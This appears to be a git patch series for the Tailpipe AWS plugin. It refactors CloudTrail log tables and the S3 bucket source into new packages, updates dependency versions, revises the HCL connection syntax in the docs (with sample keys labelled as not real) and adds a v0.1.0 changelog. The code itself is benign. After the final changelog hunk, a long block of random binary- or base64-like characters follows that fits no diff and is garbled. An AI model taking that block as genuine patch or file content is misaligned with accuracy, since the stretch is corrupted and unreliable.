tables/cloudtrail_log}/cloudtrail_log_extractor.go (92%) rename tables/{ => cloudtrail_log}/cloudtrail_log_table.go (75%) rename {mappers => tables/cloudtrail_log}/cloudtrail_mapper.go (82%) diff --git a/aws/plugin.go b/aws/plugin.go index 82531fa6..e244b86a 100755 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -3,16 +3,27 @@ package aws import ( "github.com/turbot/go-kit/helpers" "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/sources/s3_bucket" + "github.com/turbot/tailpipe-plugin-aws/tables/cloudtrail_log" "github.com/turbot/tailpipe-plugin-sdk/plugin" - // reference the table package to ensure that the tables are registered by the init functions - _ "github.com/turbot/tailpipe-plugin-aws/sources" - _ "github.com/turbot/tailpipe-plugin-aws/tables" + "github.com/turbot/tailpipe-plugin-sdk/row_source" + "github.com/turbot/tailpipe-plugin-sdk/table" ) type Plugin struct { plugin.PluginImpl } +func init() { + // Register tables, with type parameters: + // 1. row struct + // 2. table implementation + table.RegisterTable[*cloudtrail_log.CloudTrailLog, *cloudtrail_log.CloudTrailLogTable]() + + // register sources + row_source.RegisterRowSource[*s3_bucket.AwsS3BucketSource]() +} + func NewPlugin() (_ plugin.TailpipePlugin, err error) { defer func() { if r := recover(); r != nil { diff --git a/config/aws_connection.go b/config/aws_connection.go index 7ca0d9c7..02f6af81 100644 --- a/config/aws_connection.go +++ b/config/aws_connection.go @@ -10,7 +10,6 @@ import ( "net/http" "os" "strconv" - "strings" "time" "github.com/aws/aws-sdk-go-v2/aws" @@ -120,13 +119,16 @@ func (c *AwsConnection) GetClientConfiguration(ctx context.Context, overrideRegi // custom endpoint endpointUrl := getConfigOrEnv(c.EndpointUrl, "AWS_ENDPOINT_URL") if endpointUrl != "" { + //nolint:staticcheck // TODO: update to using newer endpoint resolver customResolver := aws.EndpointResolverWithOptionsFunc(func(service, region string, options ...interface{}) (aws.Endpoint, error) { + //nolint:staticcheck return aws.Endpoint{ PartitionID: "aws", URL: endpointUrl, SigningRegion: region, }, nil }) + //nolint:staticcheck // TODO: update to using newer endpoint resolver newCfg, err := config.LoadDefaultConfig(ctx, config.WithEndpointResolverWithOptions(customResolver)) if err != nil { return nil, fmt.Errorf("error loading AWS config with custom endpoint resolver: %w", err) @@ -310,62 +312,6 @@ func readEnvVarToInt(name string, defaultVal int) int { return val } -// Given a region (including wildcards), guess at the best last resort region -// based on the partition. Examples: -// -// us-gov-* -> us-gov-west-1 -// cn* -> cn-northwest-1 -// us-west-2 -> us-east-1 -// * -> us-east-1 -// crap -> "" -func awsLastResortRegionFromRegionWildcard(regionWildcard string) string { - - // Check prefixes for obscure partitions - if strings.HasPrefix(regionWildcard, "us-gov") { - return "us-gov-west-1" - } else if strings.HasPrefix(regionWildcard, "cn") { - return "cn-northwest-1" - } else if strings.HasPrefix(regionWildcard, "us-isob") { - return "us-isob-east-1" - } else if strings.HasPrefix(regionWildcard, "us-iso") { - return "us-iso-east-1" - } - - // Check if the prefix is for a commercial region. - // Must be done after obscure partitions, because they have the same - // prefixes but longer. - for _, prefix := range awsCommercialRegionPrefixes() { - if strings.HasPrefix(regionWildcard, prefix) { - return "us-east-1" - } - } - - // Unknown partition - return "" -} - -// -// AWS STANDARD REGIONS -// -// Source: https://docs.aws.amazon.com/general/latest/gr/rande.html#regional-endpoints -// -// Maintain a hard coded list of regions to use when API calls to the region -// list endpoint are not possible. This list must be updated manually as new -// regions are announced. -// - -func awsCommercialRegionPrefixes() []string { - return []string{ - "af", - "ap", - "ca", - "eu", - "me", - "sa", - "us", - } -} - // NoOpRateLimit https://github.com/aws/aws-sdk-go-v2/issues/543 type NoOpRateLimit struct{} diff --git a/go.mod b/go.mod index d0be4f7f..fe80c2bd 100644 --- a/go.mod +++ b/go.mod @@ -2,7 +2,7 @@ module github.com/turbot/tailpipe-plugin-aws go 1.23.2 -require github.com/turbot/tailpipe-plugin-sdk v0.1.0-rc.0 +require github.com/turbot/tailpipe-plugin-sdk v0.1.0 require ( cloud.google.com/go v0.115.0 // indirect diff --git a/go.sum b/go.sum index bcef0336..833e3f78 100644 --- a/go.sum +++ b/go.sum @@ -677,8 +677,8 @@ github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUF github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKkIzl7aZKAFtIsyAR+z4YI= github.com/turbot/steampipe-plugin-sdk/v5 v5.8.0 h1:e/5EYO7B7UZW6joxO/wqtJGYFu+7NMCqMk/tPVbquFY= github.com/turbot/steampipe-plugin-sdk/v5 v5.8.0/go.mod h1:tYRC7FDKPTZ3MSty/tGLtH6UnVpU3zs1osF5DuktB5Q= -github.com/turbot/tailpipe-plugin-sdk v0.1.0-rc.0 h1:HYRJ4IqwUhGscb+WgG2P1SN3kH1n+XGPxafShYrd3rg= -github.com/turbot/tailpipe-plugin-sdk v0.1.0-rc.0/go.mod h1:ISLG0B02WcUMFGcwOWOgioFkh4o/vOQSV/XWjTDZWnA= +github.com/turbot/tailpipe-plugin-sdk v0.1.0 h1:uZwyTIogO2176TV69iNjHdo6LAqZuuUySw1kTH1tkLs= +github.com/turbot/tailpipe-plugin-sdk v0.1.0/go.mod h1:ISLG0B02WcUMFGcwOWOgioFkh4o/vOQSV/XWjTDZWnA= github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7 h1:qDMxFVd8Zo0rIhnEBdCIbR+T6WgjwkxpFZMN8zZmmjg= github.com/turbot/terraform-components v0.0.0-20231213122222-1f3526cab7a7/go.mod h1:5hzpfalEjfcJWp9yq75/EZoEu2Mzm34eJAPm3HOW2tw= github.com/ulikunitz/xz v0.5.10 h1:t92gobL9l3HE202wg3rlk19F6X+JOxl9BBrCCMYEYd8= diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket/s3_bucket_source.go similarity index 97% rename from sources/s3_bucket_source.go rename to sources/s3_bucket/s3_bucket_source.go index 96576920..be66f500 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket/s3_bucket_source.go @@ -1,4 +1,4 @@ -package sources +package s3_bucket import ( "context" @@ -16,6 +16,7 @@ import ( "github.com/aws/aws-sdk-go-v2/feature/s3/manager" "github.com/aws/aws-sdk-go-v2/service/s3" "github.com/elastic/go-grok" + typehelpers "github.com/turbot/go-kit/types" "github.com/turbot/pipe-fittings/v2/filter" "github.com/turbot/tailpipe-plugin-aws/config" @@ -29,11 +30,6 @@ const ( defaultBucketRegion = "us-east-1" ) -// register the source from the package init function -func init() { - row_source.RegisterRowSource[*AwsS3BucketSource]() -} - // AwsS3BucketSource is a [ArtifactSource] implementation that reads artifacts from an S3 bucket type AwsS3BucketSource struct { artifact_source.ArtifactSourceImpl[*AwsS3BucketSourceConfig, *config.AwsConnection] diff --git a/sources/s3_bucket_source_config.go b/sources/s3_bucket/s3_bucket_source_config.go similarity index 97% rename from sources/s3_bucket_source_config.go rename to sources/s3_bucket/s3_bucket_source_config.go index dca09738..97e1046e 100644 --- a/sources/s3_bucket_source_config.go +++ b/sources/s3_bucket/s3_bucket_source_config.go @@ -1,4 +1,4 @@ -package sources +package s3_bucket import ( "fmt" diff --git a/sources/s3_collection_state.go b/sources/s3_collection_state.go deleted file mode 100644 index b71ea905..00000000 --- a/sources/s3_collection_state.go +++ /dev/null @@ -1,43 +0,0 @@ -package sources - -// -//import ( -// "github.com/turbot/tailpipe-plugin-sdk/collection_state" -// "github.com/turbot/tailpipe-plugin-sdk/types" -//) -// -//// AwsS3CollectionState contains the collection state data for an AWS S3 Bucket artifact source -//type AwsS3CollectionState struct { -// collection_state.ArtifactCollectionState[*AwsS3BucketSourceConfig] -// -// StartAfterKey *string `json:"start_after_key,omitempty"` -// UseStartAfterKey bool `json:"use_start_after_key"` -//} -// -//func NewAwsS3CollectionState() collection_state.CollectionState[*AwsS3BucketSourceConfig] { -// cs := &AwsS3CollectionState{} -// cs.StartObjects = make(map[string]*collection_state.ArtifactMetadata) -// cs.EndObjects = make(map[string]*collection_state.ArtifactMetadata) -// return cs -//} -// -//func (s *AwsS3CollectionState) Init(config *AwsS3BucketSourceConfig) error { -// s.UseStartAfterKey = config.LexicographicalOrder -// // call base init -// return s.ArtifactCollectionState.Init(config) -//} -// -//// IsEmpty returns true if the collection state is empty -//func (s *AwsS3CollectionState) IsEmpty() bool { -// return s.StartAfterKey == nil && s.StartTime.IsZero() -//} -// -//// Upsert adds new/updates an existing object with its current metadata -//// Note: the object name is the full path to the object -//func (s *AwsS3CollectionState) Upsert(metadata *types.ArtifactInfo) { -// s.ArtifactCollectionState.Upsert(metadata) -// -// if s.UseStartAfterKey { -// s.StartAfterKey = &metadata.Name -// } -//} diff --git a/rows/cloudtrail_log.go b/tables/cloudtrail_log/cloudtrail_log.go similarity index 99% rename from rows/cloudtrail_log.go rename to tables/cloudtrail_log/cloudtrail_log.go index 9693b901..13fad0d9 100644 --- a/rows/cloudtrail_log.go +++ b/tables/cloudtrail_log/cloudtrail_log.go @@ -1,4 +1,4 @@ -package rows +package cloudtrail_log import ( "time" diff --git a/extractors/cloudtrail_log_extractor.go b/tables/cloudtrail_log/cloudtrail_log_extractor.go similarity index 92% rename from extractors/cloudtrail_log_extractor.go rename to tables/cloudtrail_log/cloudtrail_log_extractor.go index b3fcdafb..e76ccb5e 100644 --- a/extractors/cloudtrail_log_extractor.go +++ b/tables/cloudtrail_log/cloudtrail_log_extractor.go @@ -1,4 +1,4 @@ -package extractors +package cloudtrail_log import ( "context" @@ -6,7 +6,6 @@ import ( "fmt" "log/slog" - "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" ) @@ -33,7 +32,7 @@ func (c *CloudTrailLogExtractor) Extract(_ context.Context, a any) ([]any, error } // decode json ito CloudTrailLogBatch - var log rows.CloudTrailLogBatch + var log CloudTrailLogBatch err := json.Unmarshal(jsonBytes, &log) if err != nil { return nil, fmt.Errorf("error decoding json: %w", err) diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log/cloudtrail_log_table.go similarity index 75% rename from tables/cloudtrail_log_table.go rename to tables/cloudtrail_log/cloudtrail_log_table.go index 3a94b438..c28912a5 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log/cloudtrail_log_table.go @@ -1,15 +1,14 @@ -package tables +package cloudtrail_log import ( + "github.com/turbot/tailpipe-plugin-aws/sources/s3_bucket" + "github.com/turbot/tailpipe-plugin-aws/tables" "strings" "time" "github.com/rs/xid" "github.com/turbot/pipe-fittings/v2/utils" - "github.com/turbot/tailpipe-plugin-aws/extractors" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-aws/sources" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/constants" @@ -20,36 +19,28 @@ import ( const CloudTrailLogTableIdentifier = "aws_cloudtrail_log" -func init() { - // Register the table, with type parameters: - // 1. row struct - // 2. table config struct - // 3. table implementation - table.RegisterTable[*rows.CloudTrailLog, *CloudTrailLogTable]() -} - // CloudTrailLogTable - table for CloudTrailLog logs type CloudTrailLogTable struct{} -func (t *CloudTrailLogTable) GetSourceMetadata() []*table.SourceMetadata[*rows.CloudTrailLog] { +func (t *CloudTrailLogTable) GetSourceMetadata() []*table.SourceMetadata[*CloudTrailLog] { defaultS3ArtifactConfig := &artifact_source_config.ArtifactSourceConfigImpl{ FileLayout: utils.ToStringPointer("AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/%{DATA:region}/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz"), } - return []*table.SourceMetadata[*rows.CloudTrailLog]{ + return []*table.SourceMetadata[*CloudTrailLog]{ { // S3 artifact source - SourceName: sources.AwsS3BucketSourceIdentifier, + SourceName: s3_bucket.AwsS3BucketSourceIdentifier, Options: []row_source.RowSourceOption{ artifact_source.WithDefaultArtifactSourceConfig(defaultS3ArtifactConfig), - artifact_source.WithArtifactExtractor(extractors.NewCloudTrailLogExtractor()), + artifact_source.WithArtifactExtractor(NewCloudTrailLogExtractor()), }, }, { // any other artifact source SourceName: constants.ArtifactSourceIdentifier, Options: []row_source.RowSourceOption{ - artifact_source.WithArtifactExtractor(extractors.NewCloudTrailLogExtractor()), + artifact_source.WithArtifactExtractor(NewCloudTrailLogExtractor()), }, }, } @@ -61,7 +52,7 @@ func (t *CloudTrailLogTable) Identifier() string { } // EnrichRow implements table.Table -func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichmentFields schema.SourceEnrichment) (*rows.CloudTrailLog, error) { +func (t *CloudTrailLogTable) EnrichRow(row *CloudTrailLog, sourceEnrichmentFields schema.SourceEnrichment) (*CloudTrailLog, error) { // initialize the enrichment fields to any fields provided by the source row.CommonFields = sourceEnrichmentFields.CommonFields @@ -76,7 +67,7 @@ func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichment } for _, resource := range row.Resources { if resource.ARN != nil { - newAkas := awsAkasFromArn(*resource.ARN) + newAkas := tables.AwsAkasFromArn(*resource.ARN) row.TpAkas = append(row.TpAkas, newAkas...) } } diff --git a/mappers/cloudtrail_mapper.go b/tables/cloudtrail_log/cloudtrail_mapper.go similarity index 82% rename from mappers/cloudtrail_mapper.go rename to tables/cloudtrail_log/cloudtrail_mapper.go index 2fb35b9f..6ed719d0 100644 --- a/mappers/cloudtrail_mapper.go +++ b/tables/cloudtrail_log/cloudtrail_mapper.go @@ -1,11 +1,10 @@ -package mappers +package cloudtrail_log import ( "context" "encoding/json" "fmt" - "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/table" ) @@ -16,22 +15,28 @@ func (m *CloudTrailMapper) Identifier() string { return "cloudtrail_mapper" } -func (m *CloudTrailMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.CloudTrailLog]) (*rows.CloudTrailLog, error) { - var log rows.CloudTrailLog +func (m *CloudTrailMapper) Map(_ context.Context, a any, _ ...table.MapOption[*CloudTrailLog]) (*CloudTrailLog, error) { + var log CloudTrailLog var jsonBytes []byte var err error switch v := a.(type) { - case *rows.CloudTrailLog: + case *CloudTrailLog: return v, nil - case rows.CloudTrailLog: + case CloudTrailLog: return &v, nil case []byte: jsonBytes = v case *string: jsonBytes, err = m.decodeString(*v) + if err != nil { + return nil, fmt.Errorf("error decoding string: %w", err) + } case string: jsonBytes, err = m.decodeString(v) + if err != nil { + return nil, fmt.Errorf("error decoding string: %w", err) + } default: return nil, fmt.Errorf("expected byte[], string or rows.CloudTailLog got %T", a) } diff --git a/tables/helpers.go b/tables/helpers.go index 5e175c42..d0da4046 100644 --- a/tables/helpers.go +++ b/tables/helpers.go @@ -2,14 +2,14 @@ package tables import "strings" -// awsAkasFromArn will extract key identifiers from an AWS ARN string. For example: +// AwsAkasFromArn will extract key identifiers from an AWS ARN string. For example: // * the full arn // * the account ID // * EC2 instance ID // * S3 bucket name // * EC2 volume ID -func awsAkasFromArn(arn string) []string { +func AwsAkasFromArn(arn string) []string { // Split the ARN into its components. parts := strings.Split(arn, ":") if len(parts) < 6 { From f8a1ce22c73e7994795a4bc18e685ff2d1e81fd8 Mon Sep 17 00:00:00 2001 From: misraved Date: Thu, 30 Jan 2025 16:30:44 +0530 Subject: [PATCH 178/180] Refactor AWS connection syntax for consistency in documentation --- docs/index.md | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/docs/index.md b/docs/index.md index 6db1706b..33450302 100644 --- a/docs/index.md +++ b/docs/index.md @@ -151,11 +151,11 @@ aws_secret_access_key = Apf938vDKd8ThisIsNotRealzTiEUwXj9nKLWP9mg4 #### aws.tpc: ```hcl -connection "aws_account_a" { +connection "aws" "aws_account_a" { profile = "account_a" } -connection "aws_account_b" { +connection "aws" "aws_account_b" { profile = "account_b" } ``` @@ -182,7 +182,7 @@ region = us-east-1 #### aws.tpc: ```hcl -connection "aws_account_a_with_sso" { +connection "aws" "aws_account_a_with_sso" { profile = "account_a_with_sso" } ``` @@ -213,11 +213,11 @@ external_id = yyyyy #### aws.tpc: ```hcl -connection "aws_account_a" { +connection "aws" "aws_account_a" { profile = "account_a_role_without_mfa" } -connection "aws_account_b" { +connection "aws" "aws_account_b" { profile = "account_b_role_without_mfa" } ``` @@ -248,11 +248,11 @@ credential_process = sh -c 'mfa.sh arn:aws:iam::222222222222:role/my_role arn:aw #### aws.tpc: ```hcl -connection "aws_account_a" { +connection "aws" "aws_account_a" { profile = "account_a_role_with_mfa" } -connection "aws_account_b" { +connection "aws" "aws_account_b" { profile = "account_b_role_with_mfa" } ``` @@ -336,7 +336,7 @@ mfa_serial = arn:aws:iam::123456789012:mfa/my_role_mfa #### aws.tpc: ```hcl -connection "aws_account_a" { +connection "aws" "aws_account_a" { profile = "account_a" } ``` @@ -346,7 +346,7 @@ connection "aws_account_a" { The AWS plugin allows you set static credentials with the `access_key`, `secret_key`, and `session_token` arguments in your connection. ```hcl -connection "aws_account_a" { +connection "aws" "aws_account_a" { secret_key = "gMCYsoGqjfThisISNotARealKeyVVhh" access_key = "ASIA3ODZSWFYSN2PFHPJ" } From 335de877d234ec5ec32bd37637f017527cc959ef Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 30 Jan 2025 11:12:11 +0000 Subject: [PATCH 179/180] chore: updated to use pipe-fittings v2 --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index fe80c2bd..b3810537 100644 --- a/go.mod +++ b/go.mod @@ -183,6 +183,6 @@ require ( github.com/rs/dnscache v0.0.0-20230804202142-fc85eb664529 github.com/rs/xid v1.5.0 github.com/turbot/go-kit v0.10.0-rc.0 - github.com/turbot/pipe-fittings/v2 v2.0.0-rc.1 + github.com/turbot/pipe-fittings/v2 v2.0.0 golang.org/x/sync v0.10.0 ) diff --git a/go.sum b/go.sum index 833e3f78..29005d3c 100644 --- a/go.sum +++ b/go.sum @@ -669,8 +669,8 @@ github.com/tkrajina/go-reflector v0.5.6 h1:hKQ0gyocG7vgMD2M3dRlYN6WBBOmdoOzJ6njQ github.com/tkrajina/go-reflector v0.5.6/go.mod h1:ECbqLgccecY5kPmPmXg1MrHW585yMcDkVl6IvJe64T4= github.com/turbot/go-kit v0.10.0-rc.0 h1:kd+jp2ibbIV33Hc8SsMAN410Dl9Pz6SJ40axbKUlSoA= github.com/turbot/go-kit v0.10.0-rc.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= -github.com/turbot/pipe-fittings/v2 v2.0.0-rc.1 h1:G7PpOmolqab5Pf+LKmKrHZ8OJd7ifJm3KqgxIngPXJo= -github.com/turbot/pipe-fittings/v2 v2.0.0-rc.1/go.mod h1:4srBITqYs/VWpgpqjQmJejJ3akkPVRueCHQa9CiETr0= +github.com/turbot/pipe-fittings/v2 v2.0.0 h1:qHtjWVsoM+I8NSeXYBct7FJ6ALnZLdMB06u/cZoo3Lk= +github.com/turbot/pipe-fittings/v2 v2.0.0/go.mod h1:4srBITqYs/VWpgpqjQmJejJ3akkPVRueCHQa9CiETr0= github.com/turbot/pipes-sdk-go v0.9.1 h1:2yRojY2wymvJn6NQyE6A0EDFV267MNe+yDLxPVvsBwM= github.com/turbot/pipes-sdk-go v0.9.1/go.mod h1:Mb+KhvqqEdRbz/6TSZc2QWDrMa5BN3E4Xw+gPt2TRkc= github.com/turbot/steampipe-plugin-code v0.7.0 h1:SROYIo/TI/Q/YNfXK+sAIS71umypUFm1Uz851TmoJkM= From 503663c2e2dc5aee6d8762725616b72590ddc7bf Mon Sep 17 00:00:00 2001 From: misraved Date: Thu, 30 Jan 2025 16:47:30 +0530 Subject: [PATCH 180/180] Add CHANGELOG for v0.1.0 --- CHANGELOG.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 CHANGELOG.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 00000000..34668faa --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,8 @@ +## v0.1.0 [2025-01-30] + +_What's new?_ + +- New tables added + - [aws_cloudtrail_log](https://hub.tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log) +- New sources added + - [aws_s3_bucket](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_cloudtrail_log)

IeMFEcDNydt*p*v==r_yv?TzvJ!e zuKg)!vuOl*AMZu6mX8yteahUyGhh$~fSTN1VFR~ylz!3ECs|+Luzj&}5+Udf+b2-d?F?^L)y#4wk+y>^bZ4feCGCPwm zf10``#%ky`WuCX6{_&q$02^yQyK6SJtIiFkl7TWlCz@*Uz>xPDFLY-aL+2( zU^vJdisv*K?h|yJc}h?)J|m7*ve!5#`9|x-KX2Y7fczBj4*MbjP~r0d+&jy~lH{c+ zsO*qREVBM}7YR7lssK9iYq(|ppILz@eyyc~+ZPQ_!+IjuS_{Oxkv2T~*^BvOgzweI zC_?~3_x~Q(|IR=2NKb*(Iz|FK_kjM1X;^!p*Iqv4c#3uFa;FyIV-3hGP${nhek8AI z$&i3GSsD;EF*(2-x7+sISpdY0rGH7d5SGEtHV*+`PSMP*kLin8c=w}@0WSIv#)mgU zN$UV%jK=4Bbu?*xG9=>F$%Bjojmc4J02gKZHcs_-dMMWQ_UAU|JQo@&)@ss{i#VBelZ|`7X!76ZbORf>wvh9 zKmHOG@-NBOP?~|xH3gWyIQn~T1OnX1RLn4bkul)-^q)?TfAOdO{H*0M!|{M|IaK3c z{D}YRvUHuX4fN*R`KF<(RO~W;({027`a{qhP6KH0r+@B2|6%L?_dWby|4XaLZQXh_ zt6=^YPWG*+no58t@^_4vZp8{@1Ue)T{dasg@R_=J*z9*XW;p-WTe#uF87BMeUy14e z^$Itk#kXq)oy*#RwMRbXS!V)*lM0}Mpv#2|WnCSGnUs^agON#%EZ zYQyEM&Ea<|{>Hfks%tf%S5qb!Y|R16&fgGc8OwRzd_tsY|BVx>*lxznnJ49Mi?OZ` z%3aOPS>f7uTeez_^nm2yUynoofA5u=7NNGUy5nQMSLFULrBnaq(i;zG?XjA9R8m}A zEDyr#|I0W03%}s@9>}Lfcj991p3W^A<6!+AGgp@$+dw|sK19ps&cASl|DCstr?=iL z!t7R$X`{9NjynM3xHC4pwX)KT!~Fl*RsF99<~{u8-2S@Zg+R{Ves=ps7zMMR-^1#U zjQGAdq&Po{bcrrg(lpoH+2Ur9OQrQ2?zw-4>N6^|51^C?g z10VJuFUMqwptz)D$Le_dT_7S{9(jlPk6iCRzaq-wbPh7KYq8d!R{6&UJTz^C2qdCHDBWGTMRQJnIDIOkWoPT19 z{M)E>00=+=pOm>q_sAU=ng8v)`{#4~w@EQciQOpYCD%7StxtW}XlYuyuJy3I8;1+B zfR*wJo16Pj-N&R4PQN5_c1LI3{^hS4T3gX%TG4T+;ycc~KeV3y?Y@q=fcweLo2s%r znFrLcnf}!E|DNjp_Rmc0J0tR_o^I+y|EWOm&$*x4sz0)A<+iJG>-nF4#&5A36TxFh z)#AP55C6-!^?%KuD5;U((Z+3ilHt~$U04bxesHr_U*Uldg3N?Jqj#ZY` z@??K_NLpEL>ng`^HJbiC7v1I<6aDbdY(oG3F#S~@l-r&>ZxmdtGEeA> zA?^>yl5x4-y+&u%zhhp{R9U*mcAP){^CL1@1BLP$j+3^ew9YFl{jc+@|2WmYPVrOk zDDs|*EKGPw|Jm7{B5h({Z8-|WK>LoG=0Cled0^YxinzXh1D3mK z$?L&Cf8ApKH8nM~ed*%;dyV_+%~^kT%!dhE8o8(EwrA@#|Bhf~>t^>|t2yV-Uh~62 zGF{u@U<9q`{iCgmKYB=c;NSP4eDwvQuXUII&rXp&CTv^l4+x8s-MNFm;rKIcHBg{u zU@-Gh*-PA$DJNq)WKf2`oA?dBa zNm-Tm&FG(Blt3`an;P1lO}hKXW8fl=+tWs*RrTK#rhqvzv_1L%O-=4H?zLQDTKYh1 zfz=PUxOCT>`jpNA>B$B(NZ9UcXquQa!Ir$~@Z7Ix2-n!d%ea5d%@{7zNNB$-}hS`2CkX-5c;pW8c`u9OVF z5$lJe{f`VYB@NinypreG&6WzuqNIqh`2;{*!s>R_fCFCk`KbEEU(To$L{ohmk;CBj zbd7DMa?}LSRSsE2Wn6iqR=9oZ>(5uX5$Cf57q6T_%fWg8ZqfL{=;7t}d$7Uy9T2gZ za&bIUh6Wv!S3x=Xlr)^<)r}P%t&aH>#sU}wmUn9Ujc3YKCl}Pb&L*wzFYGAfWHLi*c{ti()ZZX7rL0z z!wbh8ZtAq0#XomC9FiAw^c+chxtb!Dk~O8UAXO#~`nGrtpC`%@rW1P{DZs8veyw?i`@*?_qKk^p$HuZ4)fV z&Y=g+l{Rx?#@Izn;|CwnI%;yeLjXS&NOdt|DkUVe=*^&{pFqc-8>QnmYrceC74yHKqJocmhR6Me9$8 z*e`bwm-b$gFIZf@u9sI(nMmr&4YH-Xj_dVJv|Jvog6b{KXC*Q`smXX zS{Rw@b| z?*o!SZd+GvUX;H0XWWNqV&Ubeals;Pq%~%b>bpfKHzCr)<>sNSM`syh=qA>$8k>pe zrYm45N*KQ0_r!X?Nb{-0fi5X`iyM`=8u=G**+E0m;T*haHXb;30G;o6bY7{BUat=D zhzh1G3X>+j9Zh$kBE=56R_BmD?q1!Xc?r=>&8OoDKHs095V;2+^E794d{pKOaRzkE zA%%=zk!^xBi=NeGwq2f6*KFhL0pQcRpoRE3j_ov2g^vC4WKzj7jR75jf(bG9TAJ_T z`uQ!c`;e=qTj#NDMjj-ompWqbEu|>-7f!q~@$_sO-F_>~QtDo}({jCQ^Yn z@*!T{BgyI!28fK=qeDroMY$snZ=lyf=PnZ}pNk1!$RX$v&x=w|^J^13^JzD} z7&A^wTB{^ble{=2ZLvkT#*+H}*!M91g4s*(MFWmmgF2;|knRP^s)BCmw}+Jp&34=R zzK8O@e5j_>1^UZHdbx8tNbh6Q?r zweSpq3Acojvs63x(s*CwgWDM=2egI``6k-gBWj}dajEZ)BYF&eS8?tTOwK0~qX6OM znMXJDwx<*KX#(acn+ea7o||i=^;e%K^xcBIDjpEqV$)r!&I+^H>|S>izub?c=U@_P z2gOS?;Un&EwZvED0Xx^B>dRjjNZ+d=0N_32z7YbMyq*py{t&Oq)2xE1tREgL5y_tW z$sQ|CuoX^6Dvbn~7h(K5*Qp@|m;`x|V{Lbmculr@A|Op99#^lgQkb{)jY_TCQ?)J+ zPQid5IW_OQGvQOBQaS9#xl55{VTAhYrU4^#obS|j50<$TQsNjtTG>3%5YfpDtZnsc zkVg=TZDz>MKE;9?=*GaIMQSIOix_@Ml^Yx1w*^XPIyRqeCZDLXGyNkD1bBSk2jn1I zt2sI%atZFqfuLnPluTI^_N(wT-hqxv&ua&zhVtj#G*5g|Lq@0lMj_ItHeVUdE zE}e{(GD=A5h#w*s-dYztE0Dw4{H-{F=TG z+nWiNJkP{jULJ5?IaT)2< z$hpX1?wg|0a$61vb4%u{t9!kQuzvOz!ub5Bu^q5u=n%3nee0)1zVG~G=|$OFE+qA% z4`iyVI?X?hI7hH(d`h%WRCqk{F*wISIvt=L3WBZ((@EDbJ=fhMB)9YiHbuptWvdXO z_;){vcDwl=H7W*X^nkd=_NOvMRUBlnM1eO`qzt_F5vk?Qd+|SE&Hd}s?DL_9=1Eu*mEZ!R|Q))bjmuov+6giI7K;F zR&1z_R#oMxS$=7XF_l%{h(~B?s&|BGcE4**Sg-Ml zdN3q&_S9zliGkPo5%6W5kw8Ts)J?=DxTs4mk_ARR6;yZmQOWtG-n{f@gF#TJwuStC zGP@6Klg_cJWI-`}{PxIzd;8!CO>|B*HSDYF7AyO%0u(KY({?6qrs6vA9PCy8x zHAE~A%}JF0>b@>>S#rZX-|ZY>fH;v~>Bj^a1Eo%OIH1q9It0MGs^P8HY++bT3FiKb zx=t+4?9J6FS-8O2teGoCBP${ycAYWa znmC!OSS0VIoRi?M@)WC>`2d;XrD^zLtLx0nJXD&^X9{ivt;H9zGiS)q`;OE%cnf>u zXL&aj8wt>O_(9>Pl&XG_B1Mg=6m{RTk)7A?jW=H=*!Z@mN^sfE22s8x7FzI2w67&L zu4AMmebZU09H(9CR#Wt|ui{7$wjaKO{DPtq73#!Y%U@qMRO)HH_7=C&iQZ>ZGsDIR z;0@HSEK|>3f%1L^*_!Ud*zEino%!NB)_vWq8MB6ImM0+f2D7_BWqu6>l39+0R55P#TY)?aXtM z7jlR7r`0-m=y-C06A6?bZ;{slVA^>oUgiEZrVH&a;IRczAM=_y?f?Ot_nmv6rs$6X zig8~rV9Q7sE|t$blY6jf->ZumN8vUhr`z|Y4Zu7#*5Z}Tu*wmdB7v+x&ZJ13b?mW) z92o#cB77L~AsUx;N@#Kwq}0s#@IXEn86AClijFtv^hj`G1iaEFB&KtIUgdh;C3{9fR(8H|5Dd_V%TEqy^vpfj`)ms=dIGdlE@wYf*D z^rex-8;lcx!~G%QHaZ%+Pb9fnklg`W6f&$LF{HS7g8gL0@jTN)0yJ~ONa^Y1dYlHRl1DSxIw$t-#Y>n1n zI7BTi*9^J}njb>XjV+nr#58NAP<~m>qoRjbQn}Cy+4+@|%W*w2k1!T{g*0YE1 z?UKU~hXhPlfXhJPn5ywFvIMI^%?yBmZ|HR`FX+CL!i>>6JQ7m0iDffEdVG5HL*yk1 z>@{Ym*4Usk0d|<1Rz@NgG%bcW8?SA!;eC{Q|H&{dA-lC)ZTXRJ5kHD?A{laW#hz;m 